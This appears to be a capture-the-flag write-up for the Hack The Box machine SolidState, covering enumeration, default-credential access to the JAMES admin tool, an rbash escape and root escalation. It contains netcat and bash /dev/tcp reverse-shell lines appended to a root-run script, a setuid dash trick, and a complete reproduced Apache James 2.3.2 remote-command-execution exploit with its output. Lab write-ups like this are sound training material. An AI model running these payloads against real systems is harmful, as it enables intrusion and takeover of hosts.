

# ***solidstate***

## ***nmap***

```
(root@kali)-[/Documents/htb/boxes/solidstate]
# nmap -sV -sC -oA nmap/initial 10.10.10.51
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-10 16:42 EDT
Nmap scan report for 10.10.10.51
Host is up (0.15s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
|_ ssh-hostkey:
|_   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|_   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_   256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp    open  smtp      JAMES smtpd 2.3.2
|_ _smtp_commands: solidstate Hello nmap.scanme.org (10.10.14.16 [10.10.14.16]),
80/tcp    open  http      Apache httpd 2.4.25 ((Debian))
|_ _http_server_header: Apache/2.4.25 (Debian)
|_ _http_title: Home - Solid State Security
110/tcp   open  pop3      JAMES pop3d 2.3.2
119/tcp   open  nntp      JAMES nntpd (posting ok)
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.50 seconds
```

```
(root@kali)-[/Documents/htb/boxes/solidstate]
# nmap -p- -T5 -oA nmap/allports 10.10.10.51
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
80/tcp    open  http
110/tcp   open  pop3
119/tcp   open  nntp
4555/tcp  open  rsip
```

```
(root@kali)-[/Documents/htb/boxes/solidstate]
# grep -oP '\d{1,5}/open' nmap/allports.gnmap
22/open
25/open
80/open
110/open
119/open
4555/open
```

```
(root@kali)-[/Documents/htb/boxes/solidstate]
# grep -oP '\d{1,5}/open' nmap/allports.gnmap | sort -u > port.lst

(root@kali)-[/Documents/htb/boxes/solidstate]
# cat port.lst
110/open
119/open
22/open
25/open
4555/open
80/open
```

```
(root@kali)-[/Documents/htb/boxes/solidstate]
# nmap 110,119,22,25,4555,80 -sC -sV -oA nmap/targeted --script vuln 10.10.10.51
```

Starting Nmap 7.91 ( <https://nmap.org> ) at 2021-04-12 16:07 EDT

Failed to resolve "110,119,22,25,4555,80".

Nmap scan report for 10.10.10.51

Host is up (0.14s latency).

Not shown: 995 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)

| vulners:

| cpe:/a:openbsd:openssh:7.4p1:

| MSF:ILITIES/UBUNTU-CVE-2019-6111/ 5.8 <https://vulners.com/metasploit/-MSF:ILITIES/UBUNTU-CVE-2019-6111/> \*EXPLOIT\*

| MSF:ILITIES/SUSE-CVE-2019-6111/ 5.8 <https://vulners.com/metasploit/-MSF:ILITIES/SUSE-CVE-2019-6111/> \*EXPLOIT\*

| MSF:ILITIES/SUSE-CVE-2019-25017/ 5.8 <https://vulners.com/metasploit/-MSF:ILITIES/SUSE-CVE-2019-25017/> \*EXPLOIT\*

| MSF:ILITIES/REDHAT\_LINUX-CVE-2019-6111/ 5.8 [https://vulners.com/-metasploit/MSF:ILITIES/REDHAT\\_LINUX-CVE-2019-6111/](https://vulners.com/-metasploit/MSF:ILITIES/REDHAT_LINUX-CVE-2019-6111/) \*EXPLOIT\*

| MSF:ILITIES/REDHAT-OPENSHT-CVE-2019-6111/ 5.8 <https://vulners.com/-metasploit/MSF:ILITIES/REDHAT-OPENSHT-CVE-2019-6111/> \*EXPLOIT\*

| MSF:ILITIES/ORACLE-SOLARIS-CVE-2019-6111/ 5.8 <https://vulners.com/-metasploit/MSF:ILITIES/ORACLE-SOLARIS-CVE-2019-6111/> \*EXPLOIT\*

| MSF:ILITIES/OPENBSD-OPENSHT-CVE-2019-6111/ 5.8 <https://vulners.com/-metasploit/MSF:ILITIES/OPENBSD-OPENSHT-CVE-2019-6111/> \*EXPLOIT\*

| MSF:ILITIES/IBM-AIX-CVE-2019-6111/ 5.8 <https://vulners.com/metasploit/-MSF:ILITIES/IBM-AIX-CVE-2019-6111/> \*EXPLOIT\*

| MSF:ILITIES/HUAWEI-EULEROS-2\_0\_SP8-CVE-2019-6111/ 5.8 [https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2\\_0\\_SP8-CVE-2019-6111/](https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP8-CVE-2019-6111/) \*EXPLOIT\*

| MSF:ILITIES/HUAWEI-EULEROS-2\_0\_SP5-CVE-2019-6111/ 5.8 [https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2\\_0\\_SP5-CVE-2019-6111/](https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP5-CVE-2019-6111/) \*EXPLOIT\*

| MSF:ILITIES/HUAWEI-EULEROS-2\_0\_SP3-CVE-2019-6111/ 5.8 [https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2\\_0\\_SP3-CVE-2019-6111/](https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2019-6111/) \*EXPLOIT\*

| MSF:ILITIES/HUAWEI-EULEROS-2\_0\_SP2-CVE-2019-6111/ 5.8 [https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2\\_0\\_SP2-CVE-2019-6111/](https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2019-6111/) \*EXPLOIT\*

| MSF:ILITIES/GENTOO-LINUX-CVE-2019-6111/ 5.8 <https://vulners.com/metasploit/MSF:ILITIES/GENTOO-LINUX-CVE-2019-6111/> \*EXPLOIT\*

| MSF:ILITIES/F5-BIG-IP-CVE-2019-6111/ 5.8 <https://vulners.com/metasploit/MSF:ILITIES/F5-BIG-IP-CVE-2019-6111/> \*EXPLOIT\*

| MSF:ILITIES/DEBIAN-CVE-2019-6111/ 5.8 <https://vulners.com/metasploit/MSF:ILITIES/DEBIAN-CVE-2019-6111/> \*EXPLOIT\*

| MSF:ILITIES/CENTOS\_LINUX-CVE-2019-6111/ 5.8 [https://vulners.com/metasploit/MSF:ILITIES/CENTOS\\_LINUX-CVE-2019-6111/](https://vulners.com/metasploit/MSF:ILITIES/CENTOS_LINUX-CVE-2019-6111/) \*EXPLOIT\*

| MSF:ILITIES/AMAZON\_LINUX-CVE-2019-6111/ 5.8 [https://vulners.com/metasploit/MSF:ILITIES/AMAZON\\_LINUX-CVE-2019-6111/](https://vulners.com/metasploit/MSF:ILITIES/AMAZON_LINUX-CVE-2019-6111/) \*EXPLOIT\*

| MSF:ILITIES/AMAZON-LINUX-AMI-2-CVE-2019-6111/ 5.8 <https://vulners.com/metasploit/MSF:ILITIES/AMAZON-LINUX-AMI-2-CVE-2019-6111/> \*EXPLOIT\*

| MSF:ILITIES/ALPINE-LINUX-CVE-2019-6111/ 5.8 <https://vulners.com/metasploit/MSF:ILITIES/ALPINE-LINUX-CVE-2019-6111/> \*EXPLOIT\*

| EXPLOITPACK:98FE96309F9524B8C84C508837551A19 5.8 <https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19> \*EXPLOIT\*

| EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97 5.8 <https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97> \*EXPLOIT\*

| EDB-ID:46516 5.8 <https://vulners.com/exploitdb/EDB-ID:46516> \*EXPLOIT\*

| CVE-2019-6111 5.8 <https://vulners.com/cve/CVE-2019-6111>

| SSH\_ENUM 5.0 [https://vulners.com/canvas/SSH\\_ENUM](https://vulners.com/canvas/SSH_ENUM) \*EXPLOIT\*

| PACKETSTORM:150621 5.0 <https://vulners.com/packetstorm/PACKETSTORM:-150621> \*EXPLOIT\*

| MSF:AUXILIARY/SCANNER/SSH/SSH\_ENUMUSERS 5.0 [https://vulners.com/metasploit/MSF:AUXILIARY/SCANNER/SSH/SSH\\_ENUMUSERS](https://vulners.com/metasploit/MSF:AUXILIARY/SCANNER/SSH/SSH_ENUMUSERS) \*EXPLOIT\*

| EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0 5.0 <https://vulners.com/exploitpack/EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0> \*EXPLOIT\*

| EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283 5.0 <https://vulners.com/exploitpack/EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283> \*EXPLOIT\*

| EDB-ID:45939 5.0 <https://vulners.com/exploitdb/EDB-ID:45939> \*EXPLOIT\*

| CVE-2018-15919 5.0 <https://vulners.com/cve/CVE-2018-15919>

| CVE-2018-15473 5.0 <https://vulners.com/cve/CVE-2018-15473>

| CVE-2017-15906 5.0 <https://vulners.com/cve/CVE-2017-15906>

| 1337DAY-ID-31730 5.0 <https://vulners.com/zdt/1337DAY-ID-31730> \*EXPLOIT\*

| EDB-ID:45233 4.6 <https://vulners.com/exploitdb/EDB-ID:45233> \*EXPLOIT\*

| CVE-2020-14145 4.3 <https://vulners.com/cve/CVE-2020-14145>

| CVE-2019-6110 4.0 <https://vulners.com/cve/CVE-2019-6110>  
| CVE-2019-6109 4.0 <https://vulners.com/cve/CVE-2019-6109>  
| CVE-2018-20685 2.6 <https://vulners.com/cve/CVE-2018-20685>  
| PACKETSTORM:151227 0.0 <https://vulners.com/packetstorm/PACKETSTORM:-151227> \*EXPLOIT\*  
| EDB-ID:46193 0.0 <https://vulners.com/exploitdb/EDB-ID:46193> \*EXPLOIT\*  
| 1337DAY-ID-32009 0.0 <https://vulners.com/zdt/1337DAY-ID-32009>  
\*EXPLOIT\*  
| 1337DAY-ID-30937 0.0 <https://vulners.com/zdt/1337DAY-ID-30937>  
\*EXPLOIT\*

## 25/tcp open smtp JAMES smtpd 2.3.2

| smtp-vuln-cve2010-4344:

|\_ The SMTP server is not Exim: NOT VULNERABLE

|\_ sslv2-drown:

## 80/tcp open http Apache httpd 2.4.25 ((Debian))

| http-csrf:

| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.51

| Found the following possible CSRF vulnerabilities:

| Path: <http://10.10.10.51:80/>

| Form id: name

| Form action: #

| Path: <http://10.10.10.51:80/services.html>

| Form id: name

| Form action: #

| Path: <http://10.10.10.51:80/index.html>

| Form id: name

| Form action: #

| Path: <http://10.10.10.51:80/about.html>

| Form id: name

|\_ Form action: #

|\_ http-dombased-xss: Couldn't find any DOM based XSS.

| http-enum:

| /README.txt: Interesting, a readme.

|\_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'

|\_ http-server-header: Apache/2.4.25 (Debian)

| http-sql-injection:

| Possible sqli for queries:

| <http://10.10.10.51:80/assets/js/?C=N%3bO%3dD%27%20OR%20sqlspider>

| <http://10.10.10.51:80/assets/js/?C=S%3bO%3dA%27%20OR%20sqlspider>

| <http://10.10.10.51:80/assets/js/?C=D%3bO%3dA%27%20OR%20sqlspider>

| <http://10.10.10.51:80/assets/js/?C=M%3bO%3dA%27%20OR%20sqlspider>

| <http://10.10.10.51:80/assets/js/?C=S%3bO%3dA%27%20OR%20sqlspider>

```
| http://10.10.10.51:80/assets/js/?C=N%3bO%3dA%27%20OR%20sqlspider
| http://10.10.10.51:80/assets/js/?C=D%3bO%3dA%27%20OR%20sqlspider
| http://10.10.10.51:80/assets/js/?C=M%3bO%3dA%27%20OR%20sqlspider
| http://10.10.10.51:80/assets/js/?C=N%3bO%3dA%27%20OR%20sqlspider
| http://10.10.10.51:80/assets/js/?C=D%3bO%3dA%27%20OR%20sqlspider
| http://10.10.10.51:80/assets/js/?C=S%3bO%3dD%27%20OR%20sqlspider
| http://10.10.10.51:80/assets/js/?C=M%3bO%3dA%27%20OR%20sqlspider
| http://10.10.10.51:80/assets/?C=D%3bO%3dA%27%20OR%20sqlspider
| http://10.10.10.51:80/assets/?C=S%3bO%3dA%27%20OR%20sqlspider
| http://10.10.10.51:80/assets/?C=N%3bO%3dD%27%20OR%20sqlspider
| http://10.10.10.51:80/assets/?C=M%3bO%3dA%27%20OR%20sqlspider
| http://10.10.10.51:80/assets/js/?C=S%3bO%3dA%27%20OR%20sqlspider
| http://10.10.10.51:80/assets/js/?C=N%3bO%3dA%27%20OR%20sqlspider
| http://10.10.10.51:80/assets/js/?C=M%3bO%3dA%27%20OR%20sqlspider
| http://10.10.10.51:80/assets/js/?C=D%3bO%3dD%27%20OR%20sqlspider
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
```

110/tcp open pop3 JAMES pop3d 2.3.2

|\_ssl2-drown:

119/tcp open nntp JAMES nntpd (posting ok)

|\_ssl2-drown:

Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/-submit/>.

Nmap done: 1 IP address (1 host up) scanned in 108.88 seconds

## ***JAMES Remote Administration Tool***

```
└─(root@kali)-[/Documents/htb/boxes/solidstate]
```

```
└─# nc 10.10.10.51 4555
```

JAMES Remote Administration Tool 2.3.2

Please enter your login and password

Login id:

root

Password:

root

Welcome root. HELP for a list of commands

HELP

Currently implemented commands:

help	display this help
listusers	display existing accounts
countusers	display the number of existing accounts
adduser [username] [password]	add a new user
verify [username]	verify if specified user exist

deluser [username]	delete existing user
setpassword [username] [password]	sets a user's password
setalias [user] [alias]	locally forwards all email for 'user' to 'alias'
showalias [username]	shows a user's current email alias
unsetalias [user]	unsets an alias for 'user'
setforwarding [username] [emailaddress]	forwards a user's email to another email address
showforwarding [username]	shows a user's current email forwarding
unsetforwarding [username]	removes a forward
user [repositoryname]	change to another user repository
shutdown	kills the current JVM (convenient when James is run as a daemon)
quit	close connection

### listusers

Existing accounts 5

user: james

user: thomas

user: john

user: mindy

user: mailadmin

### setpassword mailadmin password

Password for mailadmin reset

Set Up Your Existing Email Address

Use your current email address

Your name: mailadmin ⓘ

Email address: mailadmin@10.10.10.51 ⓘ

Password: ●●●●●●●● ⓘ

☒ Remember password

Looking up configuration: Trying common server names ○

get nothing

### setpassword mindy password

Password for mindy reset

## Set Up Your Existing Email Address

Use your current email address

Your name:

mindy



Email address:

mindy@10.10.10.51



Password:

••••••••



☒ Remember password

mindy@10.10.10.51

Inbox

Trash

Local Folders

Trash

Outbox

Your Access

mailadmin@localhost

8/22/17, 1:17 PM

From mailadmin@localhost

Reply

Forward

Archive

Junk

Delete

More

Subject Your Access

8/22/17, 1:17 PM

Dear Mindy,

Here are your ssh credentials to access the system. Remember to reset your password after your first login. Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

username: mindy  
pass: P@55W0rd1!2@

Respectfully,  
James

username: mindy

pass: P@55W0rd1!2@ for ssh



```

mindy@solidstate:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
usbmux:x:105:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
rtkit:x:106:110:RealtimeKit,,,:/proc:/bin/false
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/bin/false
messagebus:x:108:111::/var/run/dbus:/bin/false
geoclue:x:109:115::/var/lib/geoclue:/bin/false
avahi:x:110:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
colord:x:111:118:colord colour management daemon,,,:/var/lib/colord:/bin/false
saned:x:112:119::/var/lib/saned:/bin/false
speech-dispatcher:x:113:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
pulse:x:114:120:PulseAudio daemon,,,:/var/run/pulse:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
Debian-gdm:x:116:122:Gnome Display Manager:/var/lib/gdm3:/bin/false
sshd:x:117:65534::/run/sshd:/usr/sbin/nologin
james:x:1000:1000:james:/home/james:/bin/bash
mindy:x:1001:1001:mindy:/home/mindy:/bin/rbash

```

the mindy user is in /bin/rbash as his default shell

the james user is /bin/bash , we should escalate to james then to root

```

mindy@solidstate:~$ bash
-rbash: bash: command not found
mindy@solidstate:~$ bash
-rbash: bash: command not found
mindy@solidstate:~$ bash
-rbash: bash: command not found
mindy@solidstate:~$ rbash
-rbash: rbash: command not found
mindy@solidstate:~$ curl
-rbash: curl: command not found

```

**-t** Force pseudo-terminal allocation. This can be used to execute arbitrary screen-based programs on a remote machine, which can be very useful, e.g. when implementing menu services. Multiple **-t** options force tty allocation, even if **ssh** has no local tty.



```
(root@kali)-[/Documents/htb/boxes/solidstate]
# ssh mindy@10.10.10.51 -t "bash --noprofile"
mindy@10.10.10.51's password:
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ls
bin  user.txt
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ id
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$
```

find world writable files linux:

find / -maxdepth 3 -type f -perm -777

```
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ find / -maxdepth 3 -type f -perm -777
find: '/etc/chatscripts': Permission denied
/opt/tmp.py
find: '/root': Permission denied
find: '/.cache': Permission denied
find: '/run/gdm3': Permission denied
find: '/run/alsa': Permission denied
find: '/lost+found': Permission denied
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ find / -maxdepth 3 -type f -perm -777 2>/dev/null
/opt/tmp.py
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$
```

```
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -al
total 16
drwxr-xr-x  3 root root 4096 Aug 22  2017 .
drwxr-xr-x 22 root root 4096 Jun 18  2017 ..
drwxr-xr-x 11 root root 4096 Aug 22  2017 james-2.3.2
-rwxrwxrwx  1 root root  105 Aug 22  2017 tmp.py
```

we have complete access to it

```
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import os
import sys
try:
    os.system('rm -r /tmp/* ')
except:
    sys.exit()
```

```
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ echo "os.system('nc -e /bin/sh 10.10.14.16 443')" >> tmp.py
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import os
import sys
try:
    os.system('rm -r /tmp/* ')
except:
    sys.exit()
os.system('nc -e /bin/sh 10.10.14.16 443')
```

```
{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ python tmp.py  
rm: cannot remove '/tmp/*': No such file or directory
```

```
(rootkali)-[~]  
# nc -lvnp 443  
listening on [any] 443 ...  
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.51] 57738  
ls  
root.txt  
cat root.txt  
4f4afb55463c3bc79ab1e906b074953d
```

way2)

```
-rwxr-xr-x 1 root root 124492 Jan 24 2017 dash  
-rwxr-xr-x 1 root root 108426 Feb 22 2017 date
```

```
{debian_chroot:+($debian_chroot)}mindy@solidstate:/bin$ which dash  
/bin/dash  
{debian_chroot:+($debian_chroot)}mindy@solidstate:/bin$ file dash  
dash: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=77066bceecf05bdd36902e44cb5be054cb323982, stripped
```

```
{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ echo "os.system('chmod 4755 /bin/dash')" >> tmp.py  
{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py  
#!/usr/bin/env python  
import os  
import sys  
try:  
    os.system('rm -r /tmp/*')  
except:  
    sys.exit()  
os.system('nc -e /bin/sh 10.10.14.16 443')  
os.system('chmod 4755 /bin/dash')
```

```
{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -la /bin/dash  
-rwxr-xr-x 1 root root 124492 Jan 24 2017 /bin/dash  
{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -la /bin/dash  
-rwxr-xr-x 1 root root 124492 Jan 24 2017 /bin/dash  
{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -la /bin/dash  
-rwxr-xr-x 1 root root 124492 Jan 24 2017 /bin/dash  
{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -la /bin/dash  
-rwsr-xr-x 1 root root 124492 Jan 24 2017 /bin/dash  
{debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$
```

```
# id  
uid=1001(mindy) gid=1001(mindy) euid=0(root) groups=1001(mindy)
```

the euid is root

```
# cd root
# ls
root.txt
```

## way3)

110/tcp open pop3 JAMES pop3d 2.3.2

```
(root@kali)-[/Documents/htb/boxes/solidstate]
# searchsploit james

Exploit Title
-----
Apache James Server 2.2 - SMTP Denial of Service
Apache James Server 2.3.2 - Insecure User Creation Arbitrary File Write (Metasploit)
Apache James Server 2.3.2 - Remote Command Execution
WheresJames Webcam Publisher Beta 2.0.0014 - Remote Buffer Overflow

Shellcodes: No Results
```

Path
multiple/dos/27915.pl
linux/remote/48130.rb
linux/remote/35513.py
windows/remote/944.c

copy it to my current directory

```
(root@kali)-[/Documents/htb/boxes/solidstate]
# searchsploit -m linux/remote/35513.py

Exploit: Apache James Server 2.3.2 - Remote Command Execution
URL: https://www.exploit-db.com/exploits/35513
Path: /usr/share/exploitdb/exploits/linux/remote/35513.py
File Type: Python script, ASCII text executable, with CRLF line terminators

Copied to: /Documents/htb/boxes/solidstate/35513.py

(root@kali)-[/Documents/htb/boxes/solidstate]
# ls
35513.py  LinEnum.sh  nmap  port.lst  solidstate.ctb  solidstate.ctb~  solidstate.ctb~  solidstate.ctb~
```

```
#!/usr/bin/python
```

```
#
```

```
# Exploit Title: Apache James Server 2.3.2 Authenticated User Remote Command Execution
```

```
# Date: 16\10\2014
```

```
# Exploit Author: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec
```

```
# Vendor Homepage: http://james.apache.org/server/
```

```
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
# Version: Apache James Server 2.3.2
# Tested on: Ubuntu, Debian
# Info: This exploit works on default installation of Apache James Server 2.3.2
# Info: Example paths that will automatically execute payload on some action: /etc/-
bash_completion.d , /etc/pm/config.d
```

```
import socket
import sys
import time
```

```
# specify payload
#payload = 'touch /tmp/proof.txt' # to exploit on any user
payload = 'bash -i >& /dev/tcp/10.10.14.16/1234 0>&1'
# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'
```

```
if len(sys.argv) != 2:
    sys.stderr.write("[-]Usage: python %s <ip>\n" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s 127.0.0.1\n" % sys.argv[0])
    sys.exit(1)
```

```
ip = sys.argv[1]
```

```
def recv(s):
    s.recv(1024)
    time.sleep(0.2)
```

```
try:
    print "[+]Connecting to James Remote Administration Tool..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,4555))
    s.recv(1024)
    s.send(user + "\n")
    s.recv(1024)
    s.send(pwd + "\n")
    s.recv(1024)
    print "[+]Creating user..."
    s.send("adduser ../../../../../../../etc/bash_completion.d exploit\n")
    s.recv(1024)
    s.send("quit\n")
    s.close()
```

```
print "[+]Connecting to James SMTP server..."
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,25))
```

```

s.send("ehlo team@team.pl\r\n")
recv(s)
print "[+]Sending payload..."
s.send("mail from: <'@team.pl>\r\n")
recv(s)
# also try s.send("rcpt to: <../../../../../../../../etc/-
bash_completion.d@hostname>\r\n") if the recipient cannot be found
s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")
recv(s)
s.send("data\r\n")
recv(s)
s.send("From: team@team.pl\r\n")
s.send("\r\n")
s.send("\n")
s.send(payload + "\n")
s.send("\r\n.\r\n")
recv(s)
s.send("quit\r\n")
recv(s)
s.close()
print "[+]Done! Payload will be executed once somebody logs in."
except:
    print "Connection failed."

```



```

(root@kali)-[/Documents/htb/boxes/solidstate]
# python 35513.py 10.10.10.51
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in.

(root@kali)-[/Documents/htb/boxes/solidstate]
# ssh mindy@10.10.10.51
mindy@10.10.10.51's password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Apr 12 19:01:52 2021 from 10.10.14.16
-rbash: $'\254\355\005sr\036org.apache.james.core.MailImpl\304x\r\345\274\317003\0': command not found
-rbash: L: command not found
-rbash: attributestljava/util/HashMap: No such file or directory
-rbash: L
      errorMessageetLjava/lang/String: No such file or directory
-rbash: L
      lastUpdatedetLjava/util/Date: No such file or directory
-rbash: LmessageetLjavax/mail/internet/MimeMessage: No such file or directory
-rbash: $'\L\004nameq~\002L': command not found
-rbash: recipientstLjava/util/Collection: No such file or directory
-rbash: L: command not found
-rbash: $'remoteAddrq~\002L': command not found
-rbash: remoteHostq~LsendertLorg/apache/mailet/MailAddress: No such file or directory
-rbash: $'\221\222\204m\307{\244\002\003I\003posL\004hostq~\002L\004userq~\002xp': command not found
-rbash: $'\L\005stateq~\002xpsr\035org.apache.mailet.MailAddress': command not found
-rbash: @team.pl>
Message-ID: <20046271.0.1618275382972.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: ../../../../../../../../../../etc/bash_completion.d@localhost
Received: from 10.10.14.16 ([10.10.14.16])
      by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 551
      for <../../../../../../../../etc/bash_completion.d@localhost>;
      Mon, 12 Apr 2021 20:56:22 -0400 (EDT)
Date: Mon, 12 Apr 2021 20:56:22 -0400 (EDT)
From: team@team.pl
: No such file or directory

```

```

(root@kali)-[~]
# nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.51] 41162
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ id
id
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)

```